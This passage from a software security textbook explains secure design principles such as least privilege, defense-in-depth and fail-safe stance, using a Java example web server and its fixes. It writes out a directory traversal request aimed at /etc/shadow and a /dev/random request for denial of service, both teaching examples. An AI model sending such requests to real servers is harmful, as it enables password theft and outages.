Software Security gives one example of how to prioritize security risks among other business
risks.)

We realize that in many applications, customers pay for functionality and performance—
not necessarily security or privacy. However, customers very often expect security and privacy
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even if they do not explicitly pay for it, and can be surprised when their expectations are not
met. Not meeting expectations is a great way to lose customers. 

We also realize that you might not initially have much to protect if your project is new or
small, or is being built at a startup company—it may seem silly to you to put steel doors onto
a house whose frame has barely been erected. Instead, we acknowledge that the world works
incrementally. Security is not usually added until there is something to protect. When most
projects start out, there is not usually much to protect, and it may seem ridiculous to design
strong security mechanisms into them to begin with. Of course, once there is something to
protect, redesigning the entire software project from scratch for security is usually not an
option, due to business continuity and backward-compatibility reasons. In addition, attackers
know that systems are typically most susceptible upon their release, before all the bugs have
been worked out, and will take advantage of exploits early on. 

As such, we think it makes sense to design for security and incorporate necessary “hooks”
and other low-effort pieces into your software starting from the beginning. As you get around
to building the next version of your software, it will then be possible to more easily protect it
without resorting to kludges. In this way, security can be treated similarly to extensibility. 

DON’T SHOOT YOURSELF

It is also worthwhile to make sure you don’t shoot yourself in the foot early on by using unsafe programming
constructs, such as strcpy() in C. We will cover why some programming constructs are fundamentally
insecure in later chapters (see Chapter 6 for an explanation of how strcpy() can lead to buffer overflow
vulnerabilities), but for now it is sufficient to note that it is important to use secure programming constructs
in addition to adding appropriate security hooks from the beginning.

We do not think it makes sense to put security sufficient for version five of your software
in the alpha version. Certainly, you may have trouble predicting what the threats to version
five of your software will be, because you may have more and different users, and your soft-
ware may even be deployed in a different environment (i.e., operating system). Also, even
though you design security into the alpha version based on your estimation of the expected
threats, you might find that attackers find unusual ways to exploit your alpha version. As Fred
Brooks says, plan to throw the first version, your alpha version, away. Then, design the beta
version, again with security in mind from the beginning to deal with the threats that you
anticipated in the alpha, as well as the unusual threats that you learned about once you tested
and deployed the alpha (Brooks 1995).

So, the message is: design it with security in mind. Design it so that your alpha version is
“secure enough.” Have a discussion with a security person even before you design the alpha to
make sure that your design is reasonable and will not preclude your ability to strengthen your
software against attacks in the future. Design so that there is enough flexibility for you to build
a secure beta version if the alpha version is successful.
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Secure Design Principles

While the previous chapter was concerned with high-level approaches and trade-offs in
security, this chapter will focus on security design principles. When building a house, there are
certain very specific things that a builder will do: roofing shingles are laid so that the higher
shingles overlap the lower ones. Flashing is placed over the top of newly installed windows.
These specific practices protect the house from water damage, and they flow from a single,
general principle: that water needs to run off of a house in waterfall fashion. Similarly, while
there are many specific security practices, they flow from a small set of well-accepted princi-
ples. Understanding the fundamental principles puts you in the best position to implement
specific practices where needed in your own projects.

3.1. The Principle of Least Privilege
The principle of least privilege states that a user or computer program should be given the
least amount of privileges necessary to accomplish a task. A common example in which the
principle of least privilege works in the physical world is the use of valet keys. A valet is some-
one that parks your car for you when you arrive at a hotel or restaurant. Car manufacturers
give buyers special valet keys with the purchase of their vehicle. When the car owner pulls up
at a hotel or restaurant, she gives the valet key to the valet to park the car. The valet key only
allows the valet to start the car and drive it to its parking spot, but does not give the valet
access to open the glove compartment or the trunk where valuables may be kept. The idea is
to only give the valet access to those resources of the car necessary to get the job of parking
the car accomplished.1

When you design and use software, you should attempt to employ the same kind of
mentality with respect to giving programs just enough permissions for the job that they are
required to accomplish. If you are designing or implementing a web server that is only respon-
sible for serving static (read-only) marketing pages to web users, the web server should only
be given access to the exact set of files that the web server serves to its clients. The web server
should not be given privileges to access the company employee database or any other resource
that would allow it to do more than serve the marketing pages. By following this approach, if
anyone breaks into the web server, the hope is that the most that the attacker will be able to
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1. If you wanted to design an even better valet key system for an automobile, you could limit the number
of miles that could be driven with the valet key (but that could introduce other safety issues—for
instance, if the car would come to a dead stop upon reaching the limit).
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do is read the files that make up the marketing pages, because that is all the web server is able
to do. If the web server is configured correctly and not given write access to the files, then you
would also expect that the attacker would not be able to deface the web site.2

Unfortunately, in practice, web servers are sometimes given unnecessary privileges that
allow them access to parts of the file system that they do not need access to, and that also allow
them to modify files. Attackers are able to do an excessive amount of damage when they crack
into such web servers because of these elevated privileges.

For instance, if the system administrator were to run SimpleWebServer (described in
Section 2.4) under the root account,3 then when clients connect to the web server, they would
be able to access all files on the system. You might think that this might not be so bad so long
as there are no sensitive documents stored in the web server’s directory tree. However, due to a
vulnerability in SimpleWebServer, an attacker will be able to access all files on the system! We
will now illustrate the vulnerability.

Note that in the serveFile() function, SimpleWebServer creates a FileReader object to
read the file that the user requested in memory. While you would expect that typical filenames
specified by users in the GET request might look like /index.html, /admin/login.php, or even
/logs/joe/1.txt, an attacker might issue GET requests that are malicious. For instance, an
attacker might issue the following request:

GET ../../../../etc/shadow HTTP/1.0

Due to the way the FileReader constructor works, it will attempt to access the file speci-
fied by its string argument relative to the current working directory. As a result, by issuing such
a GET request, the attacker would be able to traverse up the directory tree to the root directory,
and then access a file such as /etc/shadow, which, on UNIX, contains a list of all usernames
and “encrypted” versions of their passwords. Even though the passwords are “encrypted,” an
attacker may then attempt to mount a dictionary attack against the password file, especially if
the password system was not designed well. We will cover dictionary attacks and how to build
good password systems in Chapter 9.

To prevent this attack, you need to canonicalize and validate the pathname that the client
specifies in the GET request. Writing such code can often be tricky business. The following
might be a first-cut implementation at a function that checks the path with the goal of pre-
venting the attack:

String checkPath (String pathname) throws Exception {
File target = new File (pathname);
File cwd = new File (System.getProperty("user.dir"));
String targetStr = target.getCanonicalPath();
String cwdStr = cwd.getCanonicalPath();
if (!targetStr.startsWith(cwdStr))

throw new Exception("File Not Found");
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else
return targetStr;

}

Then, you just pass a normalized path to the File constructor in the serveFile() method:

fr = new FileReader (checkPath(pathname));

The checkPath() function first creates a File object called target that corresponds to the
pathname that the user requests. Then, it creates a File object called cwd that corresponds to
the current working directory. (The call to System.getProperty("user.dir") is used to retrieve
the current working directory.) The getCanonicalPath() method is called for each file to nor-
malize the pathnames (i.e., eliminate “.,” “..,” and other ambiguities in the pathname).4 If the
canonicalization fails for any reason, checkPath() will throw an IOException. Finally, the if
statement checks to see if the target pathname is at the same level or below the current work-
ing directory. If not, checkPath() throws an exception to prevent the case in which an attacker
tries to access a file that is above the web server’s current working directory.

The preceding example used the checkPath() function to help contain the impact if the
web server is run as root. Validating the input in the HTTP request prevents an attacker from
being able to access files (including those accessible only by root) that are above the directory
from which the web server is run. However, if the web server is run as root, an attacker could
still successfully place HTTP requests for files only accessible to root that are in or below the
directory from which the web server is run, even when checkPath() is used to validate the
input in the HTTP request. While checkPath() helps contain the damage if the principle of
least privilege is ignored, to truly avoid vulnerability, the web server should not be run as root.

3.2. Defense-in-Depth
Defense-in-depth, also referred to as redundancy, is the second design principle we will dis-
cuss in this chapter. To start with a common real-world example, consider how some banks
protect themselves from bank robbers.

3.2.1. Prevent, Detect, Contain, and Recover
The point of defense-in-depth is to not rely on any one defense to achieve security. Multiple
mechanisms can help you achieve more security than just one. Some mechanisms (such as
the security guards outside the bank) might help prevent attacks. In the case of a bank robbery,
it is usually quite obvious when the robbery is taking place—but in the world of network secu-
rity, it may not even be clear when an attack is taking place. As such, some mechanisms might
help you detect when attacks are taking place. Since it is not always possible to prevent attacks
altogether, it is important to deploy mechanisms that help you manage or contain attacks
while they are in progress. In some banks, bank tellers are stationed behind bulletproof glass,
which helps contain the effect of a bank robbery by working to spare the lives of the bank
tellers in the case that violence breaks out. After an attack takes place, you want to be able to
recover from the attack, to whatever extent possible. Bank tellers may give the robbers a spe-
cially prepared briefcase of cash that will spurt dye on the robber when he opens it. The police
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will then be able to find the bank robber because the dye can only be removed using special
chemicals, which helps create accountability.5 In addition to dye-laced briefcases, banks take
out insurance policies to help deal with the financial loss in case the cash cannot be recov-
ered. A good security system, whether it be for physical banks or software information
systems, should employ defense-in-depth, and include mechanisms that help to prevent,
detect, manage, and recover from attacks.

3.2.2. Don’t Forget Containment and Recovery
Some organizations go overboard on deploying too many prevention and detection measures,
and do not focus adequately enough on containment or recovery. For example, some organi-
zations will deploy a firewall and IDS, but will not have appropriate measures in place to deal
with security alerts generated by them.

Preventive techniques may not be perfect, and may fail at preventing some malicious acts
from taking place. On the Internet, malicious traffic needs to be treated as a fact of life, instead
of as an error or exceptional condition. It may take some time to identify and/or detect mali-
cious traffic before the connections with malicious sources can be dropped. In the interim,
you need to contain damage that can impact the normal operation of the network.

To highlight the importance of attack containment techniques, consider an analogy
between defenses of a distributed computer system and national security defenses. On the
morning of September 11, 2001, at the time that the first hijacked airplane hit the north tower
of the World Trade Center, our nation’s preventive defense mechanisms had already failed. The
FBI, CIA, NSA, and INS had failed to identify and/or detain the terrorists who had entered the
country and had been training to fly commercial airliners. The hijackers were let through the
airport security checkpoints and were allowed to board. When the first airplane hit the tower,
the hijackers were already in control of two other planes in the air.

After the first airplane hit the north tower, it was, in fact, unclear as to whether what had
just happened was an accident, or whether it was an attack. Indeed, it would take the authori-
ties some time to detect exactly what was going on. And, of course, regardless of whether the
incident that had just occurred was an attack, it would take quite some time to recover from
the situation, to the extent that such incidents can be recovered from. Immediately after the
crash of the first airplane, and while the authorities were in the process of detecting exactly
what was going on, efforts were focused on containing the effects of the incident, by saving as
many lives as possible. Such containment techniques—whether they be protocols that emer-
gency response teams should follow, the activation of additional secure radio frequencies and
communication channels for use by authorities to coordinate life-saving efforts, or possible
procedures for emergency scrambling of jet fighters—need to be designed, practiced, tested,
and put in place well ahead of any such incident.

In a distributed system, it is also important that once malicious parties have breached the
preventive mechanisms, and while the existence, locations, and identities of the malicious
actors are in the process of being detected, attack containment techniques be used to mini-
mize the impact of the attack while detection and recovery procedures are executing.
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3.2.3. Password Security Example
To consider an example from the world of password security, system administrators can
attempt to prevent password-guessing attacks against their web site by requiring users to
choose strong passwords (see Section 9.6). To help detect password-guessing attacks, web
server logs can be monitored for a large number of failed logins coming from one or more IP
addresses, and mark those IP addresses as suspicious. However, doing that is not enough. It is
still likely that the attacker may stumble upon a significant number of valid username and
password combinations, and it is important to reduce the number of accounts that get com-
promised during an attack. One option might be to deny all logins from the suspicious IP
addresses to contain the attack, or require an additional check to see if the client presents the
web server with a cookie that was provided upon last successful login. (We cover cookies in
Section 7.3.)

Still, the attacker may obtain a few valid usernames and passwords, especially if the
attacker has access to many IP addresses—but the goal of containment is to lower the impact
of the attack, not prevent it entirely. Finally, to recover from the attack, you could monitor
account activity for the usernames for which there were successful logins from the suspicious
IP addresses, and deny any transactions that look suspicious, such as monetary transfers to
addresses outside the country. The web site may also have to file an insurance claim to finan-
cially recover from any successful fraud that the attacker was able to conduct, and purchase
credit monitoring services for customers whose accounts were compromised.

FAILURES, LIES, AND INFILTRATION

In Appendix A, we provide a framework of security techniques called the failure, lies, and infiltration (FLI)
model that can help us provide defense-in-depth by preventing, detecting, containing, and recovering from
attacks. It may be useful to view the appendix after reading Chapters 12 and 13 (on cryptography), if you do
not have any previous background in that area.

3.3. Diversity-in-Defense
An idea related to defense-in-depth is called diversity-in-defense. Diversity-in-defense is
about using multiple heterogeneous systems that do the same thing. 

One example of using diversity-in-defense is the use of multiple operating systems within
a corporation to mitigate the impact of viruses. For example, one could back up data (say, 
e-mail) on machines that use different operating systems. If a virus attacks Microsoft Outlook,
which only works on Windows platforms, it will be able to corrupt all the computers in a cor-
poration that are running Microsoft Windows. However, it is unlikely that the same virus will
be able to attack redundant copies of information stored on machines running a different
operating system, such as Linux. Using a variety of operating systems protects the entire cor-
poration against attacks on a particular operating system.

Diversity-in-defense does come at a cost, though. By using more than one OS, the IT staff
may come under the burden of having to be experts with more than one technology, and will
also have to monitor and apply software patches to multiple technologies. The IT staff must
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keep such trade-offs in mind and weigh the extra security that diversity-in-defense might
provide against the extra complexity and effort it requires. You can read more about the pros
and cons of diversity-in-defense in Dan Geer and Dave Aucsmith’s position paper entitled
“Monopoly Considered Harmful.”

3.4. Securing the Weakest Link
A system is only as strong as its weakest link. The weakest link is the part of a system that is the
most vulnerable, susceptible, or easiest to attack. In this section, we will discuss some proto-
typical weak links that may exist in systems.

3.4.1. Weak Passwords
One example of a weak link is something that we mentioned earlier—users having weak pass-
words. Studies going back to 1979 show that people typically choose weak passwords—for
example, in Morris and Thompson’s “Password Security: A Case History” (Morris and Thomp-
son 1979), they found that about one-third of their users chose a password that could be
found in the dictionary. If an attacker interested in compromising some account in the system
tries logging in with a variety of different common usernames and passwords, using words
from various dictionaries, he will eventually hit the jackpot with one of them. Password secu-
rity is such a prevalent problem that we dedicate Chapter 9 to the study of it.

3.4.2. People
Another weak link in the corporate security plan is people. In fact, in our previous example
of weak passwords, an employee who chooses a password that is simply her name in reverse
could be considered a weak link. Even if an employee chooses a good password, she might
get conned by a phone call from the company’s “system administrator” asking her for the
password. Usually, the bigger the company, the more likely that these types of people-based
attacks will work—the larger the company, the more often employees may need to trust
people that they don’t know in the regular course of their day.

And what about the programmers themselves? No amount of software security tech-
niques will help you if your programmers are malicious! Movies such as Superman III and
Office Space have featured programmers who wrote code that transferred “unnoticed”
fractions of cents from banking transactions into their own bank accounts. Malicious pro-
grammers can also put back doors into their programs, which can give them control of
the system after it is deployed—sometimes such programmers even bill such back doors as
“features.” Processes can be put in place in which programmers are required to review each
other’s code prior to incorporating it into a software system, but the problem then usually
boils down to how many programmers need to collude to build such surprises into software.

In summary, people often end up being the weak link in many systems. Unfortunately, it
is hard to eliminate people because your business typically depends on them! To help deal
with such people-related threats, a company should create a culture in which their employees
enjoy what they do, believe in the goals of the company, are well compensated, and do not
have too many incentives to defraud the company. Even then, it may be in a company’s best
interest to distribute information on a need-to-know basis, and have employees go through
criminal background and other checks upon hire.
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3.4.3. Implementation Vulnerabilities
Even a correctly designed piece of software typically has lots of bugs in the implementation of
that design. Some of those bugs are likely to lead to exploitable security vulnerabilities. Even
though an application might use encryption to protect data, it is often possible for an attacker
to get access to the protected data not by attacking the encryption function or cracking the
encryption key, but by finding bugs in how the software uses (or rather misuses) the encryp-
tion function. 

Another common example of implementation vulnerability involves the inadvertent mix-
ing of control and data. Attackers can send input data to a program that gets interpreted as a
command, which allows them to take control of the program. Later in the book, we will cover
examples of implementation vulnerability–based attacks, such as buffer overflows (Chapter 6)
and SQL injection (Chapter 8), as well as solutions to them.

3.5. Fail-Safe Stance
Fail-safe stance involves designing a system in such a way that even if one or more components
fail, you can still ensure some level of security. In the physical world, there are many systems
that take this type of stance. One example involves how an elevator behaves when the power
goes out. When elevators lose power or other types of failures occur, they have the capability
to automatically grab and latch onto the cables that support them, or use safeties to grab the
guide rails on the sides of the elevator shaft, if necessary. Elevators are designed with the
expectation that the power will sometimes fail. Software should similarly be designed with
the expectation that things will fail.

For example, a firewall is designed to keep malicious traffic out. If a firewall ever fails, it
should deny access by default and not let any traffic in. This will be inconvenient for users, but
at least the information system protected by the firewall will not be insecure. If, on the other
hand, the firewall fails and decides to let all traffic through, attackers could figure out how to
induce the firewall to fail, and then would be able to send malicious traffic in. If the firewall
is instead designed to let no traffic in upon failure, attackers would not have any additional
incentive (besides that of conducting a DoS attack) to try to get the firewall to fail.

3.5.1. SimpleWebServer Fail-Safe Example
We now show that the implementation of the serveFile() method from the previous chapter
takes a fail-safe stance. The implementation of serveFile() is repeated in the following code
for convenience:

85 public void serveFile (OutputStreamWriter osw,
86 String pathname) throws Exception {
87 FileReader fr = null;
88 int c = -1;
89 StringBuffer sb = new StringBuffer();
90
91 /* Remove the initial slash at the beginning
92 of the pathname in the request. */
93 if (pathname.charAt(0) == '/')
94 pathname = pathname.substring(1);
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95
96 /* If there was no filename specified by the
97 client, serve the "index.html" file. */
98 if (pathname.equals(""))
99                            pathname = "index.html"; 
100
101 /* Try to open file specified by pathname. */
102                  try { 
103 fr = new FileReader (pathname);
104 c = fr.read();
105 }
106 catch (Exception e) {
107 /* If the file is not found, return the
108 appropriate HTTP response code. */
109                           osw.write ("HTTP/1.0 404 Not Found\n\n"); 
110                           return; 
111 }
112
113                  /* If the requested file can be successfully opened 
114 and read, then return an OK response code and
115 send the contents of the file. */
116                  osw.write ("HTTP/1.0 200 OK\n\n"); 
117                  while (c != -1) { 
118 sb.append((char)c);
119 c = fr.read();
120 }
121 osw.write (sb.toString());
122 }

SimpleWebServer takes a fail-safe stance. If an attacker can force the web server to run
out of memory, it will crash, but it will not do something insecure such as skipping an access
control check or serving any document requested. How can the attacker force the web server
to run out of memory?

Note that the way that the preceding serveFile() method works is that it uses a
StringBuffer object (line 89) to store the contents of the file request prior to sending the data
in the file to the client. Lines 117 to 120 load the contents of the file into the StringBuffer, and
line 121 outputs all the content accumulated by the StringBuffer to the OutputStreamWriter
object. In writing the code as such, the programmer assumes that the file is of finite length,
and can be loaded in its entirety before it is sent to the client. Many files are of finite length.
However, some files, such as live media streams from a web camera, may not be finite, or
should at least be served a little bit at a time instead of all at once.

If the attacker can somehow request an infinite-length file, the contents of the file will be
put into the StringBuffer until the web server process runs out of memory. While the machine
that the web server is running on might not be connected to a web camera, if it is a Linux
machine, there is (luckily for the attacker) an infinite-length file that the attacker can use. In
Linux, /dev/random is a file that returns random bits that could, for example, be used to gener-
ate cryptographic keys (see Section 14.2.3). However, an attacker can misuse it as a source of
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infinite data. For the moment, let us assume that the checkPath() function in Section 3.1 was
not implemented. If the attacker connects to the web server and issues GET //dev/random
HTTP/1.0 as an HTTP request, SimpleWebServer will continuously read data from /dev/random
until the web server runs out of memory and crashes. Even though the web server takes a fail-
safe stance and crashes when it runs out of memory, it is important to deal with this bug, as it
can be used to conduct a DoS attack.

3.5.2. Attempted Fix 1: Checking the File Length
One way to attempt to handle the problem would be for the web server to have a default maxi-
mum amount of data to read from the file. Prior to reading data from the file, the web server
could determine how much memory it has available, and only decide to serve the file if it has
enough memory to read it in. The serveFile() method can be written as follows to implement
such a feature:

FileInputStream fr = null;
StringBuffer sb = new StringBuffer();
pathname = checkPath(pathname);
File f = new File (pathname);
if (f.isDirectory()) {

// add list of files in directory
// to StringBuffer...

}
else {

if (f.length() > Runtime.getRuntime().freeMemory()) {
throw new Exception();

}
int c = -1;
fr = new FileReader (f);
do {

c = fr.read();
sb.append ((char)c);

} while (c != -1);
}

Unfortunately, with the preceding approach, while the intentions are in the right place, it
will not prevent an attack in which the adversary places an HTTP request for /dev/random. The
reason the preceding code will not solve the problem is because the operating system will
report that the length of the file (f.length()) is 0 since /dev/random is a special file that does
not actually exist on disk.

3.5.3. Attempted Fix 2: Don’t Store the File in Memory
An alternate attempt to correct the problem might involve not having SimpleWebServer store
the bytes of the file prior to sending it. The following code will stream the bytes of the file
incrementally and significantly save memory:
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FileReader fr = null;
int c = -1;

/* Try to open file specified by pathname */
try {

fr = new FileReader (pathname);
c = fr.read();

}
catch (Exception e) {

/* If the file is not found, return the
appropriate HTTP response code. */

osw.write ("HTTP/1.0 404 Not Found");
return;

}

/* If the requested file can be successfully opened
and read, then return an OK response code and
send the contents of the file. */

osw.write ("HTTP/1.0 200 OK");
while (c != -1) {

osw.write (c);
c = fr.read();

}

However, the problem with the preceding approach is that if the attacker requests
/dev/random, the server will be forever tied up servicing the attacker’s request and will not
serve any other legitimate user’s request. (Remember, SimpleWebServer is not multithreaded.)

3.5.4. Fix: Don’t Store the File in Memory, and Impose a
Download Limit
To properly defend against the attack, you can take advantage of the approach in which you
do not store the file in memory, and impose a maximum download size. The following code
will stream at most MAX_DOWNLOAD_LIMIT bytes to the client before returning from serveFile():

FileReader fr = null;
int c = -1;
int sentBytes = 0;

/* Try to open file specified by pathname */
try {

fr = new FileReader (pathname);
c = fr.read();

}
catch (Exception e) {

/* If the file is not found, return the
appropriate HTTP response code. */
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osw.write ("HTTP/1.0 404 Not Found");
return;

}

/* If the requested file can be successfully opened
and read, then return an OK response code and
send the contents of the file. */

osw.write ("HTTP/1.0 200 OK");
while ( (c != -1) && (sentBytes < MAX_DOWNLOAD_LIMIT) ) {

osw.write (c);
sentBytes++;
c = fr.read();

}

If the attacker places an HTTP request for /dev/random, the connection to the attacker
will be cut off once the server has sent MAX_DOWNLOAD_LIMIT bytes of /dev/random to the client.
While the preceding code will defend against the attack, the downside of the preceding imple-
mentation is that a legitimate client can receive a truncated file without any warning or
indication. As a result, the downloaded file might be corrupted.

In addition, a DoS attack in which the attacker requests a file such as /dev/random will
only be somewhat mitigated. We say “somewhat” because if the MAX_DOWNLOAD_LIMIT is rela-
tively high, it may be some time before a legitimate client is able to download a file. Hence,
it is important to choose a MAX_DOWNLOAD_LIMIT that is not so low that legitimate download
requests will get cut off, but that is not so high that it will allow abusive requests to tie up the
server for too long.

3.6. Secure by Default
When you design a system, it should, by default, be optimized for security wherever possible.
One problem that some software vendors have had in the past is that when they deploy their
software, they turn on every possible feature, and make every service available to the user by
default. From a security standpoint, the more features that are built into a piece of software,
the more susceptible it is going to be to an attack. For example, if an attacker is trying to
observe the behavior of the application, the more features and functionality one makes avail-
able, the more the bad guy can observe. There is a higher probability that the attacker is going
to find some potential security vulnerability within any of those given features. A rule of
thumb when figuring out what features to make available to the user population by default is
that you should only enable the 20 percent of the features that are used by 80 percent of the
users. That way, most of the users are very happy with the initial configuration that the soft-
ware will have. The other 20 percent—the power users—that take advantage of the extra
functionality in the product will have to explicitly turn those features on, but that is accept-
able because they are the power users anyway, and will not have any problem doing so!

Another related idea you should be familiar with is the term hardening a system. An oper-
ating system, for instance, can contain a lot of features and functionality when it is shipped by
the OS vendor, but the amount of functionality available should be reduced. The reduction
involves turning off all unnecessary services by default. For instance, in Section 5.2.1, we
describe how a malicious program called the Morris worm took advantage of unhardened
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UNIX systems that had an unnecessary “debugging” feature enabled in its mail routing pro-
gram. The high-level idea here is that because there are more features enabled, there are more
potential security exploits. By default, you should turn off as many things as you can and have
the default configuration be as secure as it possibly can.

Software vendors have recently started taking the concept of secure defaults much more
seriously. For example, the Microsoft Windows operating system was originally deployed with
all of its features on in the initial configuration. Microsoft configured various functionality
offered by their operating system such that it was enabled by default. However, having Inter-
net Information Sever (IIS), Microsoft’s web server, on by default made millions of Microsoft
Windows computers easier to attack by malicious parties. Worms such as Code Red and
Nimda used exploits in IIS to infect the computer on which it was running, and used it as a
launching pad to infect other machines. (We discuss more about worms and how they work
in Chapter 5.) Because other computers running Windows had IIS turned on by default (even
if the users were not using it), the worm was able to spread and infect the other computers
quickly.

In newer versions of Windows, Microsoft has turned IIS, as well as many other features in
the operating system, off by default. This drastically reduces the ability of a worm to spread
over the network. Code Red and Nimda were able to infect thousands of computers within
hours because the IIS web server was on by default. Hardening the initial configuration of
Windows is one example of how keeping features off by default helps reduce the security
threat posed by worms.

3.7. Simplicity
Keeping software as simple as possible is another way to preserve software security. Complex
software is likely to have many more bugs and security holes than simple software. Code
should be written so that it is possible to test each function in isolation.

One example of a large, complicated piece of software that has had many security holes
is the UNIX sendmail program (www.sendmail.org). The sendmail program is installed on
many UNIX servers deployed on the Internet, and its goal is to route mail from a sender to
a recipient.

The simpler the design of a program and the fewer lines of code, the better. A simpler
design and fewer lines of code can mean less complexity, better understandability, and better
auditability. That does not mean that you should artificially make code compact and unread-
able. It means that you should avoid unnecessary mechanisms in your code in favor of
simplicity.

In order to keep software simple and security checks localized, you can take advantage
of a concept called a choke point. A choke point is a centralized piece of code through which
control must pass. You could, for instance, force all security operations in a piece of software
to go through one piece of code. For example, you should only have one checkPassword()
function in your system—all password checks should be centralized, and the code that does
the password check should be as small and simple as possible so that it can be easily reviewed
for correctness. The advantage is that the system is more likely to be secure as long as the code
is correct. This is all built on the concept that the less functionality one has to look at in a
given application, the less security exposure and vulnerability that piece of software will have.
Software that is simple will be easier to test and keep secure.
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3.8. Usability
Usability is also an important design goal. For a software product to be usable, its users, with
high probability, should be able to accomplish tasks that the software is meant to assist them
in carrying out. The way to achieve usable software is not to build a software product first, and
then bring in an interaction designer or usability engineer to recommend tweaks to the user
interface. Instead, to design usable software products, interaction designers and usability
engineers should be brought in at the start of the project to architect the information and task
flow to be intuitive to the user.

There are a few items to keep in mind regarding the interaction between usability and
security:

• Do not rely on documentation. The first item to keep in mind is that users generally will
not read the documentation or user manual. If you build security features into the soft-
ware product and turn them off by default, you can be relatively sure that they will not
be turned on, even if you tell users how and why to do so in the documentation.

• Secure by default. Unlike many other product features that should be turned off by
default, security features should be turned on by default, or else they will rarely be
enabled at all. The challenge here is to design security features that are easy enough to
use that they provide security advantages, and are not inconvenient to the point that
users will shut them off or work around them in some way. For instance, requiring a
user to choose a relatively strong but usable password when they first power up a com-
puter, and enter it at the time of each login might be reasonable. However, requiring
a user to conduct a two-factor authentication every time that the screen locks will
probably result in a feature being disabled or the computer being returned to the
manufacturer. If the users attempt to do something that is insecure, and they are
unable to perform the insecure action, it will at least prevent them from shooting
themselves in the foot. It may encourage them to read the documentation before
attempting to conduct a highly sensitive operation. Or it may even encourage them
to complain to the manufacturer to make the product easier to use.

• Remember that users will often ignore security if given the choice. If you build a security
prompt into a software product, such as a dialog box that pops up in front of the users
saying, “The action that you are about to conduct may be insecure. Would you like to
do it anyway?” a user will most likely ignore it and click “Yes.” Therefore, you should
employ secure-by-default features that do not allow the user to commit insecure
actions. These default features should not bother asking the user’s permission to pro-
ceed with the potentially insecure action. The usability of the application may be
negatively impacted, but it will also lead to better security. It also probably means that
the product should be redesigned or refactored to assist users in carrying out the task
they seek to accomplish in a more secure fashion. Remember that if users are denied
the ability to carry out their work due to security restrictions, they will eventually find
a way to work around the software, and that could create an insecure situation in itself.
The balance between usability and security should be carefully maintained. 
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The usability challenge for security software products seems to be greater than for other
types of products. In a seminal paper entitled “Why Johnny Can’t Encrypt,” Alma Whitten and
Doug Tygar conducted a usability study of PGP (a software product for sending and receiving
encrypted e-mail) and concluded that most users were not able to successfully send or receive
encrypted e-mail, even if the user interface for the product seemed “reasonable.” Even worse,
many of the users in their tests conducted actions that compromised the security of the sensi-
tive e-mail with which they were tasked to send and receive. Whitten and Tygar concluded that
a more particular notion of “usability for security” was important to consider in the design of
the product if it were to be both usable and secure (Whitten and Tygar 1999).

Quoting from their paper, “Security software is usable if the people who are expected to
be using it: (1) are reliably made aware of the security tasks they need to perform; (2) are able
to figure out how to successfully perform those tasks; (3) don’t make dangerous errors; and
(4) are sufficiently comfortable with the interface to continue using it.”

3.9. Security Features Do Not Imply Security
Using one or more security features in a product does not ensure security. For example, sup-
pose a password is to be sent from a client to the server, and you do not want an attacker to be
able to eavesdrop and see the password during transmission. You can take advantage of a
security feature (say, encryption) to encrypt the password at the client before sending it to the
server. If the attacker eavesdrops, what she will see is encrypted bits. Yet, taking advantage of a
security feature, namely encryption, does not ensure that the client/server system is secure,
since there are other things that could go wrong. In particular, encrypting the client’s pass-
word does not ensure protection against weak passwords. The client may choose a password
that is too short or easy for the attacker to obtain. Therefore, a system’s security is not solely
dependent upon the utilization of security features in its design, such as the encryption of
passwords, but also depends on how it is used.

Another example involves the interaction between a web client and a web server. You may
decide to use SSL. SSL is the Secure Sockets Layer protocol that is used to secure communica-
tions between most web browsers and web clients. SSL allows the web client and web server
to communicate over an encrypted channel with message integrity in which the client can
authenticate the server. (Optionally, the server may also authenticate the client.)

Our SimpleWebServer code can be modified to use an SSL connection instead of a
regular one:

import java.security.*;
import javax.net.ssl.*;

// ... some code excluded ...

private static final int PORT = 443;
private static SSLServerSocket dServerSocket;

public SimpleWebServer () throws Exception {
SSLServerSocketFactory factory =  

(SSLServerSocketFactory)SSLServerSocketFactory.getDefault();
dServerSocket = (SSLServerSocket)factory.createServerSocket(PORT);
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// ... some code excluded ...

public void run () throws Exception {
while (true) {

/* Wait for a connection from a client. */
SSLSocket s = (SSLSocket)dServerSocket.accept();

// ... some code excluded ...

}

// ... some code excluded ...

■Note Some additional code is also required for the server to read a public key certificate as well as a
“private” key in order for it to authenticate itself to clients that connect to it. We discuss certificates and pub-
lic key cryptography in Chapter 13. The additional code is available from www.learnsecurity.com/ntk.

Now, for a client to connect to the server, it would connect to port 443, execute an SSL
“handshake” (more information on SSL in Section 15.8), and start exchanging HTTP messages
over an authenticated, encrypted channel with message integrity in place. A browser that
wants to connect to the server would use a URL such as https://yourcompany.com. The s in
https signifies that an SSL connection on port 443, by default, should be used.

You may decide to take advantage of SSL as a security feature in SimpleWebServer, but
using SSL does not ensure security. In fact, using SSL in the preceding code does not protect
you from all the other threats that we discussed earlier in this chapter (directory traversal
attacks, DoS attacks, etc.), even though the client and server might communicate over an SSL
connection using this code. Taking advantage of SSL security as a feature may prevent an
attacker from being able to snoop on the conversation between the client and server, but it
does not necessarily result in overall security, since it does not protect against other possible
threats. For instance, if you did not canonicalize the pathname in the HTTP request, an
attacker could steal the server’s /etc/shadow file over the SSL connection. The security of a
system cannot be guaranteed simply by utilizing one or more security features.

So, once you have fixed all the implementation vulnerabilities described earlier in this
chapter and added SSL support to SimpleWebServer, is it finally secure? Probably not.6 There
may very well be a few additional vulnerabilities in the code. We leave it as an exercise to the
reader (that’s you!) to find the extra vulnerabilities.
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IS MY CODE SECURE?

In general, you don’t really know that any piece of code is actually secure. You either know that it is not
secure because you found some security bugs that you have not fixed yet, or it is inconclusive as to whether
it is secure. You can say what you have tested for to provide a risk assessment, but that doesn’t mean it is
100 percent secure. It turns out that for very small programs, it is sometimes feasible to construct mathe-
matical proofs that the program has certain security properties. But that is mostly of theoretical interest. From
a practical standpoint, it is usually impossible to say that a program or software system is secure in any
absolute way—it is either insecure or the assessment is inconclusive.

Based on how much testing you have done and what you have tested for, you may be able
to provide your management with a risk assessment. Generally, the more testing, and the more
diverse the testing, the less risky—but all it takes is some discrete hole and all security is
blown.

To quote Bruce Schneier, “Security is a process, not a product” (Schneier 2000). Security
results not from using a few security features in the design of a product, but from how that
product is implemented, tested, maintained, and used.

In a sense, security is similar to quality. It is often hard to design, build, and ship a product,
and then attempt to make it high-quality after the fact. The quality of a product is inherent to
how it is designed and built, and is evaluated based on its intended use. Such is the case with
security.

The bad news about security is that an attacker may often need to find only one flaw or
vulnerability to breach security. The designers of a system have a much harder job—they need
to design and build to protect against all possible flaws if security is to be achieved. In addi-
